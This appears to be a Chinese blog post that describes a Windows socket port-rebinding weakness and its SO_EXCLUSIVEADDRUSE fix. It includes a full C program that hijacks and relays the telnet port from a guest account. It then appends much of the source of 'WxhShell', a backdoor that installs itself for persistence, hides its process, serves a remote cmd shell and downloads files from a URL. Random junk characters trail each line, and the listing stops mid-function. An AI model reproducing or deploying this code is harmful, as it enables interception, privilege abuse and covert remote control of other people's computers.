作者在 2009-02-20 09:58:20 发布以下内容
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5ZeE& vG2
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iIWz\FM
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saddr.sin_family = AF_INET; OI0#@_L&
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saddr.sin_addr.s_addr = htonl(INADDR_ANY); v5 STe`
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bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G|eY$5!i
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其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YjaEKM8*
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这意味着什么?意味着可以进行如下的攻击: >i^8K U
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1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 48;6C g
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2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7)&}riQ
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3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]D(!ua5|x`
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4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n8W+q~sW%
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其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W/03L, 1
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解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~ *:{U
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下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! 6y<jJ>
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#include z&fXxp
#include <dzfD;
#include j7LuN
#include kb"g
DWORD WINAPI ClientThread(LPVOID lpParam); L~x PIu
int main() Rb!|2h)
{ `re9-HM
WORD wVersionRequested; 1Z9_sd~/6
DWORD ret; s?qRy 2
WSADATA wsaData; k^A17Nf`2
BOOL val; &.dC%
SOCKADDR_IN saddr; sK1YmB :~a
SOCKADDR_IN scaddr; q. zBm@:
int err; LJ^n6 m|_
SOCKET s; ii0{$}eoh
SOCKET sc; 8:W," "
int caddsize; _8*}S=
HANDLE mt; E0F8FR'
DWORD tid; Cs2hi,s
wVersionRequested = MAKEWORD( 2, 2 ); QU`M5{#
err = WSAStartup( wVersionRequested, &wsaData ); N0Y$QWr_$
if ( err != 0 ) { xZmO^F5KHj
printf("error!WSAStartup failed!\n"); 5U%J,W
return -1; $!~R'N c
} `2}Frw+?
saddr.sin_family = AF_INET; kNC.^8ryz[
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//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M:%6$``
(#|CL/&
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i5f8}`w
saddr.sin_port = htons(23); (s:ihpI
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X@ zw;Se
{ GM1z@i\5
printf("error!socket failed!\n"); R`IFKmA EJ
return -1; Xv1 SRP#
} Y]zy=8q
val = TRUE; sj;n1t}$S
//SO_REUSEADDR选项就是可以实现端口重绑定的 {P'_s ]B)
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @W4tnM,#
{ {B!LhvYAH
printf("error!setsockopt failed!\n"); xj6@85^
return -1; zmA]@'j
} )[t zAaP7
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %anY'GK
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5%qq#;[ n
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _H,xnh#nZ
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if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J?oI%r7^
{ t zTnFV
ret=GetLastError(); 1g{-DIOmn
printf("error!bind failed!\n"); Po)!vL"
return -1; Ipp#{'Do
} + :IwP
listen(s,2); Qkvg85
while(1) KT 4h3D`,
{ 1Fg*--8[r
caddsize = sizeof(scaddr); ;u(#-C2^{l
//接受连接请求 bp[wr
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X7bS{GT
if(sc!=INVALID_SOCKET) 5[[mS
{ RXi/&'+H
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?rJe"TOIy
if(mt==NULL) rW P -Rm
{ |3bCq(ZR\P
printf("Thread Creat Failed!\n"); +55+%oGl
break; ^t$xR_
} A_4.>g
} ;u@& [
CloseHandle(mt); HM]mOmL90N
} LmZ"_
closesocket(s); "c5bz
WSACleanup(); pBxyq"z
return 0; iW9o-W a
} A<U9$"j9J
DWORD WINAPI ClientThread(LPVOID lpParam) Mb^E
{ r$cq2pkX
SOCKET ss = (SOCKET)lpParam; 3FgTM(
SOCKET sc; Q H 57[Yg
unsigned char buf[4096]; aGml!N5'
SOCKADDR_IN saddr; g}OZ!mKd
long num; I^l\<1"]
DWORD val; wj{[g^y%
DWORD ret; :pCv!g2
//如果是隐藏端口应用的话,可以在此处加一些判断 (3Dz'X
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Fl}{"eCF8
saddr.sin_family = AF_INET; NZL$#bRB
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eUVhNg
saddr.sin_port = htons(23); iF*L-
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l 2ARM3"
{ b[rVr J
printf("error!socket failed!\n"); 60#eTo?}o
return -1; l{mC|8X
} =k]2 Ad
val = 100; -R-yr.$j*
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E<[ Y KY
{ t`")Re_j
ret = GetLastError(); 6 hiWgbE
return -1; /^sk y!
} Bp-e<:
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fv-~v&
{ Tn"^`\m
ret = GetLastError(); hjq@ .5
return -1; \IP 9EFA
} ;~GBD]
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i:|e#$x
{ s8 5l
printf("error!socket connect failed!\n"); !;Vqs/E
closesocket(sc); dC>(UDC
closesocket(ss); >o1,Y&
return -1; 2j&0U!DX
} >BZ,g!N,J}
while(1) @a i2A|
{ NwN3T]W
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3qkPe_<I
//如果是嗅探内容的话,可以再此处进行内容分析和记录 )|6OPR@(#/
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jAdZS\?w
num = recv(ss,buf,4096,0); !j/54,
if(num>0) >P ~j@Lv
send(sc,buf,num,0); uann'ho?q
else if(num==0) [r1dgwh8
break; 1&RB=7.h
num = recv(sc,buf,4096,0); ar _@"+tZ
if(num>0) *i {e$Zv'
send(ss,buf,num,0); &$ fyY:<\
else if(num==0) @0V4$OoFl
break; KQ^|prN?y
} qJE_4/<^!
closesocket(ss); /!%?I#K{Wq
closesocket(sc); ?R_fg
return 0 ; }tL]EW^
} R$`%<Y3)
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========================================================== AH?[K,3
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下边附上一个代码,,WXhSHELL w3#0kl
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========================================================== 4"UH~A;^
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#include "stdafx.h" 1'P4{T0 [
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#include <stdio.h> Q5A,9ovNZ
#include <string.h> P/xE n_*v
#include <windows.h> `KZu/r-M9
#include <winsock2.h> m6'9Id-:L
#include <winsvc.h> MS:,I?
#include <urlmon.h> ]$#9B-uB
wR,}#m,
#pragma comment (lib, "Ws2_32.lib") V5p^]To!
#pragma comment (lib, "urlmon.lib") RI+Y+z
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#define MAX_USER 100 // 最大客户端连接数 e.^?hwl
#define BUF_SOCK 200 // sock buffer ohs`[U=%~
#define KEY_BUFF 255 // 输入 buffer L)4~:f)B
7w]3D
#define REBOOT 0 // 重启 p]<)6sZ
#define SHUTDOWN 1 // 关机 C/QrkTi=
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#define DEF_PORT 5000 // 监听端口 K#'$_0.
KYwUkuw)
#define REG_LEN 16 // 注册表键长度 aX zb]">
#define SVC_LEN 80 // NT服务名长度 MK1#^9Zr
`7'^y
// 从dll定义API ,F*HZBNFZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~d3@x\I?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R4T@ ]l&W
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UG_ PrZd
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pt cq/f
}p-/R'
// wxhshell配置信息 =CD.pw)B1
struct WSCFG { ;(jL`L F
int ws_port; // 监听端口 >56fa6=3@
char ws_passstr[REG_LEN]; // 口令 Z:Vde^Ih
int ws_autoins; // 安装标记, 1=yes 0=no s diWQv
char ws_regname[REG_LEN]; // 注册表键名 ^FQn\,
char ws_svcname[REG_LEN]; // 服务名 /I1n${{5
char ws_svcdisp[SVC_LEN]; // 服务显示名 Ju&FwY+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qa\,)<'D:
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PIXqd,
int ws_downexe; // 下载执行标记, 1=yes 0=no /R?[/`)f&
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VbMud]40F
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bfEH>pQ>#
$}0!dR2
}; $Ff6nc=
e M5-v-
// default Wxhshell configuration /OB)\{-
struct WSCFG wscfg={DEF_PORT, /er{sKVX<
"xuhuanlingzhe", l_$>$d
1, EVBOubV
"Wxhshell", n qx0#_K-E
"Wxhshell", 8a]g>g
"WxhShell Service", )4-!]NsV
"Wrsky Windows CmdShell Service", (d@(QJ
"Please Input Your Password: ", 98| v.d
1, )V+/@4
"http://www.wrsky.com/wxhshell.exe", n7Bv~?DM
"Wxhshell.exe" 0UW_ Pbh6
}; !fd>wvJ,:
;K|K]c
// 消息定义模块 ujN~l_ 4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w1(5,~OB
char *msg_ws_prompt="\n\r? for help\n\r#>"; y29G#Y4J
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lq]8zm<\)]
char *msg_ws_ext="\n\rExit."; | oM`
char *msg_ws_end="\n\rQuit."; w-$iKtb.
char *msg_ws_boot="\n\rReboot..."; :xq{\"r
char *msg_ws_poff="\n\rShutdown..."; .iP>?9$f"
char *msg_ws_down="\n\rSave to "; )*6
ZREy I(_
char *msg_ws_err="\n\rErr!"; VAjl?\}6
char *msg_ws_ok="\n\rOK!"; \ZhkOl
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char ExeFile[MAX_PATH]; _A& [rBm|
int nUser = 0; mA%}ijR6y
HANDLE handles[MAX_USER]; ;;rx)|\<R
int OsIsNt; xluA jOQ6
Wd(|w8J{a
SERVICE_STATUS serviceStatus; fk6=;{
SERVICE_STATUS_HANDLE hServiceStatusHandle; yw%E S
7mv([}Va
// 函数声明 $G}k'[4C
int Install(void); $sb@*K}:4
int Uninstall(void); Q>;Aq!mr=
int DownloadFile(char *sURL, SOCKET wsh); zL50|U0H
int Boot(int flag); I7SFGO
void HideProc(void); w 8cnSO
int GetOsVer(void); mr_NArF
int Wxhshell(SOCKET wsl); n!~QC
void TalkWithClient(void *cs); KyDd( 'i
int CmdShell(SOCKET sock); y,KZp2 j
int StartFromService(void); #Q_<eo%lI*
int StartWxhshell(LPSTR lpCmdLine); CI \O)iB
'Cz]p~oF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VC Ay~,
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {- MhhRa5
[Q6$$z92Q
// 数据结构和表定义 zH~g5xgh
SERVICE_TABLE_ENTRY DispatchTable[] = (U.VCSn
{ s-&i!d
{wscfg.ws_svcname, NTServiceMain}, KM^}d$x}s
{NULL, NULL} +, rm
}; y|9 LtQ
-wNhbV2
// 自我安装 HC>k/Gk"
int Install(void) K #JO#
{ qe0ZM-C_
char svExeFile[MAX_PATH]; ?ia O6HD
HKEY key; q^@*k,HG
strcpy(svExeFile,ExeFile); pf=CP%L
w %6 L"
// 如果是win9x系统,修改注册表设为自启动 IY(;:#l
if(!OsIsNt) { ]tbl1=|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1py >[II@
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9!D c=
RegCloseKey(key); 3);W gh6
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'`*Sce}
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Ak>/QF9
RegCloseKey(key); gkx<<)y l
return 0; Vt4,?"
} cn_*,\}
} N$8"X-na?
} *AYjMCo
else { <L3ig%#B
\3j4=K'nE
// 如果是NT以上系统,安装为系统服务 xn7bb[g;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +n<;);h
if (schSCManager!=0) G0x!:[
{ @'?7au ''
SC_HANDLE schService = CreateService 88atj+N]
( sRGIHT#
schSCManager, Y2y = P
wscfg.ws_svcname, 9 J~KM=p
wscfg.ws_svcdisp, Dt+u f5o(
SERVICE_ALL_ACCESS, _,|N`BBqd
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0J9Ub
SERVICE_AUTO_START, L>2gx$f
SERVICE_ERROR_NORMAL, ",Fqpu&M
svExeFile, p/&s-G F
NULL, 0]t7(P"F6
NULL, 1VO>Bh.Wm
NULL, * n>YS
NULL, je~gk6}Y
NULL ~C;gEE-
); o_%gFV[q
if (schService!=0) uF\f>E)/N%
{ w,zgYX&
CloseServiceHandle(schService); CKRnkTTiV
CloseServiceHandle(schSCManager); i@spd5.
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?O#,|\v?]
strcat(svExeFile,wscfg.ws_svcname); Qx}hiv/
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W!WeYV}kb
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {,CvWL
RegCloseKey(key); 1 gx(L*y,
return 0; q#!c6lG
} /kK:{
} Av^<_`L :
CloseServiceHandle(schSCManager); ( G#W6
} ! V;glx[
} Nc[V kJ]
/2e,,)4g
return 1; :~+m9r
} .LHzaeJCX
G .k\N(l
// 自我卸载 2XGbqZj
int Uninstall(void) `tZ`a
{ GjvTYg~
HKEY key; _q dLA
@Tg +Kt
if(!OsIsNt) { b9@VD)J0E
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T hLR<\
RegDeleteValue(key,wscfg.ws_regname); v&*}O
RegCloseKey(key); $*i"rlJC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !2Q>
RegDeleteValue(key,wscfg.ws_regname); !u=,bfyH
RegCloseKey(key); Um'r6ty
return 0; ngHPOI16
} '+{dr\nJ
} Co#_Cyxg=9
} 86,$ I+
else { Tx'ctd#Y
@|GKNW#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {<3>^ o|"
if (schSCManager!=0) AE"E($S`
{ `F<[\@\d5
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ew kZzVuX
if (schService!=0) @0>3))
{ ?hQ,'M2
if(DeleteService(schService)!=0) { !bi}9w
CloseServiceHandle(schService); ].eY]o}=
CloseServiceHandle(schSCManager); MYb^ILz H3
return 0; 0w_2E
} dn1Tu6f;|
CloseServiceHandle(schService); !F|iL
} >xt*(j&}
CloseServiceHandle(schSCManager); S-Y(Vn4
} ^:RDu q
} z4nVsgQ$
69v[* InSd
return 1; Y{8L ~U:
} DjT ekn
_ z!0ab
// 从指定url下载文件 [i'\d}
int DownloadFile(char *sURL, SOCKET wsh) N3};M~\
{ 79^on8k}
HRESULT hr; +(3PY e\
char seps[]= "/"; iK"j@1|
char *token; ~%Ws"1
char *file; ^j2:fJOU#
char myURL[MAX_PATH]; ^/Hj^4~_U
char myFILE[MAX_PATH]; ]'aG oR
_OF 8D
strcpy(myURL,sURL); t3/!esay
token=strtok(myURL,seps); n#N<zC/
while(token!=NULL) RU `TzD
{ l!ye\
file=token; IEzZ$9,A5
token=strtok(NULL,seps); )_EobE\
} tS2lex%
pAmTwe
GetCurrentDirectory(MAX_PATH,myFILE); q<JI!n1O
strcat(myFILE, "\\"); ej<z]{`05
strcat(myFILE, file); qc\o>$-:`
send(wsh,myFILE,strlen(myFILE),0); YA^9, q6u?
send(wsh,"...",3,0); &TbnZnv
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VH*j3
if(hr==S_OK) PJ Air8
return 0; 73xI8
else fWm;cDM H
return 1; ijhMJ?3
`hlyN]L
} "<O?KO 3K
1shvHmrV
// 系统电源模块 n6o}$]H
int Boot(int flag) 1<R \V
{ E/GI:}YUy_
HANDLE hToken; _X.M,id
TOKEN_PRIVILEGES tkp; SyYa_=En
3YT _GW{
if(OsIsNt) { 3 oWCQ
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bv=Z*"Fv
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HRw,D=
tkp.PrivilegeCount = 1; b'{D4/
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sU}e78mh
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W4YC5ZH{l
if(flag==REBOOT) { 03#_ (
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )US) -\^
return 0; ]CL70+[^9
} l/I W"A
else { dvj`%?=
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \m.{^Xd~
return 0; p{U8z\
} n_+Iw,a'm
} }gn0bCJy
else { UmJg-~
if(flag==REBOOT) { D6m>>&E['
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;}PL/L$L6;
return 0; fAm2ls7c
} ~.Gk:M
else { P6?Q;-\q0
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BxG;vS3>*e
return 0; &KB{,:)?
} \E30.>%,
} _1Eyqh`oh
93rE5eGs
return 1; Ylf4q/-
} dvf*w:5K!
Nf~<xK
// win9x进程隐藏模块 prWid3}
void HideProc(void) {xr]xcM'b
{ bM'AD[
3m^BYr*y^
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1l(
if ( hKernel != NULL ) )<|TEp4r-
{ y/ FisX
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); We ->d |=
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p%s D>1k
FreeLibrary(hKernel); (X9V-4
} 9NT;^K^ I
Q^k# ?j#
return; 7I|%GA_
} ^ WNJQg'
Q@8[ql1l
// 获取操作系统版本 B'Wky>5)
int GetOsVer(void) 9ZBF1sMg
{ 8syo_sC |
OSVERSIONINFO winfo; /K^cU;E,
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BUb(BzC
GetVersionEx(&winfo); <}%ir,8
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nR7\ o(!
return 1; $c}0L0
else x}{VHp`|ld
return 0; )hug<D *h
} {#,FlR2
Ro<kp8
// 客户端句柄模块 k 3 l
int Wxhshell(SOCKET wsl) G)&'8W F5o
{ -e~U u
SOCKET wsh; aJ8pJ{,P
struct sockaddr_in client; >|?T|
DWORD myID; +&OqJAu
blcKtrYg
while(nUser<MAX_USER) A ? M]5d
{ >K :"[?
int nSize=sizeof(client); iIE(zw)H
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j&A3s{S4A
if(wsh==INVALID_SOCKET) return 1; s3{s.55{m
_m],(J=,z
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |l xy< C4V
if(handles[nUser]==0) 6>:~?gs
closesocket(wsh); (:QQ7xc{}
else #[y<h3f]
nUser++; T3./V0]\I
} = O1;vc}AA
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wy {>gvqK
oDP((I2-
return 0; jJ!-hg4?]
} Rt^<xXX$
z,FTsR$x
// 关闭 socket /;AZ/Ocy!
void CloseIt(SOCKET wsh) P0e""9JOo
{ lt6;*z[
closesocket(wsh); *frJ^ Ws{
nUser--; [Cj}nld
ExitThread(0); W[E3P,XS
} K3:|Tc(
&3Z. #*
// 客户端请求句柄 oNB,.:
void TalkWithClient(void *cs) EB5_;
{ dAr)%RZ
kq~[k.
SOCKET wsh=(SOCKET)cs; !I5~))E
char pwd[SVC_LEN]; i9eyrl+!
char cmd[KEY_BUFF]; i*CQor6|z
char chr[1]; q|o |/O-{
int i,j; 4su_;+]
D!}K)T1~R
while (nUser < MAX_USER) { <D!c ~*[
XDkS ^9
if(wscfg.ws_passstr) { %gu$_S
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B9e.-Xaf
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^'&iYV
//ZeroMemory(pwd,KEY_BUFF); /*AJr
i=0; #_?TIY:h
while(i<SVC_LEN) { e" Eqi-
mT6q}``vtG
// 设置超时 .3a:n\tY
fd_set FdRead; 6KEykw j
struct timeval TimeOut; \ I^nx+l
FD_ZERO(&FdRead); DhLr^Z!h3;
FD_SET(wsh,&FdRead); )d}H>Qx=
TimeOut.tv_sec=8; T+;H#&
TimeOut.tv_usec=0; > 'aG /(
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }UKgF.
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '7Mep ]
Cs:+93w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q`S iV
pwd=chr[0]; |5=~(-I>@
if(chr[0]==0xd || chr[0]==0xa) { [x!i* rW3
pwd=0; #y=ZP:{:t
break; EkJVFHfh
} =U4f}W;
i++; {ExII<=6
} & u$(NbK
fav5e'[$
// 如果是非法用户,关闭 socket 59{;VY81
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ rQMD^:M$
} )v%l0_z{
f).*NX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t<sp%zXZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JY{X,?s
In f9wq\
while(1) { "\}b!gl$8
GI4?|@%vD!
ZeroMemory(cmd,KEY_BUFF); M_k`%o
w{PUj
// 自动支持客户端 telnet标准 h`=r )D
j=0; 9Ei5z6Vk/+
while(j<KEY_BUFF) { d9O:,DKf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }N?g|
cmd[j]=chr[0]; R7lYu\mA
if(chr[0]==0xa || chr[0]==0xd) { o`idg[l.
cmd[j]=0; Qh*)pt]n
break; ~i% -WX
} vX ?aB!nkw
j++; * -0>3
} w&%9IJ
tww=~!
// 下载文件 FC{})|yh }
if(strstr(cmd,"http://")) { PSPTL3_~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pb#P`L7OB
if(DownloadFile(cmd,wsh)) I_ONbJ9]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2`EVdl7B]
else ?ty>}.c t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F>*{e
} k0JW[04j
else { =J](.78
*Ddi(`
switch(cmd[0]) { u"`*DFjo*
Fk{J@Y
// 帮助 >TY6O.]
case '?': { :|rPT)yT]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eNbpwne
break; +y/55VLq
} ziiwxx_
// 安装 A (okv
case 'i': { -}P7$|O &
if(Install()) _|A+ ) K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22&;jpL'?
else gv|"OlB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQ1 v# Z
break; `:p1&OS
} lq>AGw
// 卸载 0J9D"3T)
case 'r': { @}&_Dvf
if(Uninstall()) O6X"RsI}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =^tA_AxVw
else d|lpec
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -DjJ",h( $
break; <CZgQ\Mt
} TB!(('
// 显示 wxhshell 所在路径 ~TqT }:,H
case 'p': { j.%K_h?V5
char svExeFile[MAX_PATH]; y(i Y
strcpy(svExeFile,"\n\r"); Mxl]"?z
strcat(svExeFile,ExeFile); y >+mc7n
send(wsh,svExeFile,strlen(svExeFile),0); {<=#*qx[Y!
break; z~{&}Em ~
} 'e!J06
// 重启 4vWkT8HQ
case 'b': { 'hqBo|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?LK 2g
if(Boot(REBOOT)) x@KZ ]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+{yMol1
else { aZ|=(]
closesocket(wsh); <RNJ>>0
ExitThread(0); _iV]_\0W2
} &#yR;{
break; kgi>}%
} %w7pkh,
// 关机 @]aOyb@
case 'd': { i0jBZW"_1$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CQh,~
if(Boot(SHUTDOWN)) JM- t<.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26vp1
else { ~@.%m"<.
closesocket(wsh); 0tg8~H3yy
ExitThread(0); e [_m< e
} B=8Iu5m
break; 9d[5{" 2j
} 3psU?8(
// 获取shell =L;] ;i
case 's': { UhA"nt0
CmdShell(wsh); Jc&y9]
closesocket(wsh); ~vlype3/EF
ExitThread(0); LI2&&Mw
break; b2b?hA'k
} s*U1
// 退出 ./Q,
case 'x': { Q'_z<V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w2_bd7Wp<
CloseIt(wsh); !*6CWV0
break; "BX!
} L_=3<n E
// 离开 -'~ LjA(
case 'q': { C4TE-OM8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P ;IrBq6|o
closesocket(wsh); 9]q:[zm^
WSACleanup(); ?QE,;QtpK
exit(1); ^%O]P`$
break; Kq i4hK
} cM&{+el
} c("_bOAT
} ,}K<*t[I
As>_J=8}3
// 提示信息 lRXK\xIP ,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"pF R4
} n=[/Z!
} Z?\>JM >;
qgfi\/$6
return; 1dK*y'rx
} H)n9O/u
~ 0M'7q'
// shell模块句柄 RsYU59_Y
int CmdShell(SOCKET sock) U*) 8G
{ DY`kx2e!
STARTUPINFO si; ?"g!
ZeroMemory(&si,sizeof(si)); t2)rUWg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oeok ;:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DP|D\+YyYA
PROCESS_INFORMATION ProcessInfo; _ jsK}- \
char cmdline[]="cmd"; a24"yT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h D/*h*}T>
return 0; ?U2<
} r[*Vqcz
NGbG4-w-
// 自身启动模式 h%uZYsK
int StartFromService(void) LA}S yt\F
{ }n>p4W"OM
typedef struct V)[@98T_4?
{ )84~ugs
DWORD ExitStatus; sG92XJ
DWORD PebBaseAddress; a m|F?|1
DWORD AffinityMask; ~=uWD&5B4
DWORD BasePriority; & tg&5_
ULONG UniqueProcessId; PoxK{Y
ULONG InheritedFromUniqueProcessId; '/^qJ7eb
} PROCESS_BASIC_INFORMATION; gaZu;t2u
Z$/xy"
PROCNTQSIP NtQueryInformationProcess; ur:3W6ZKl
h4 T5+~rw
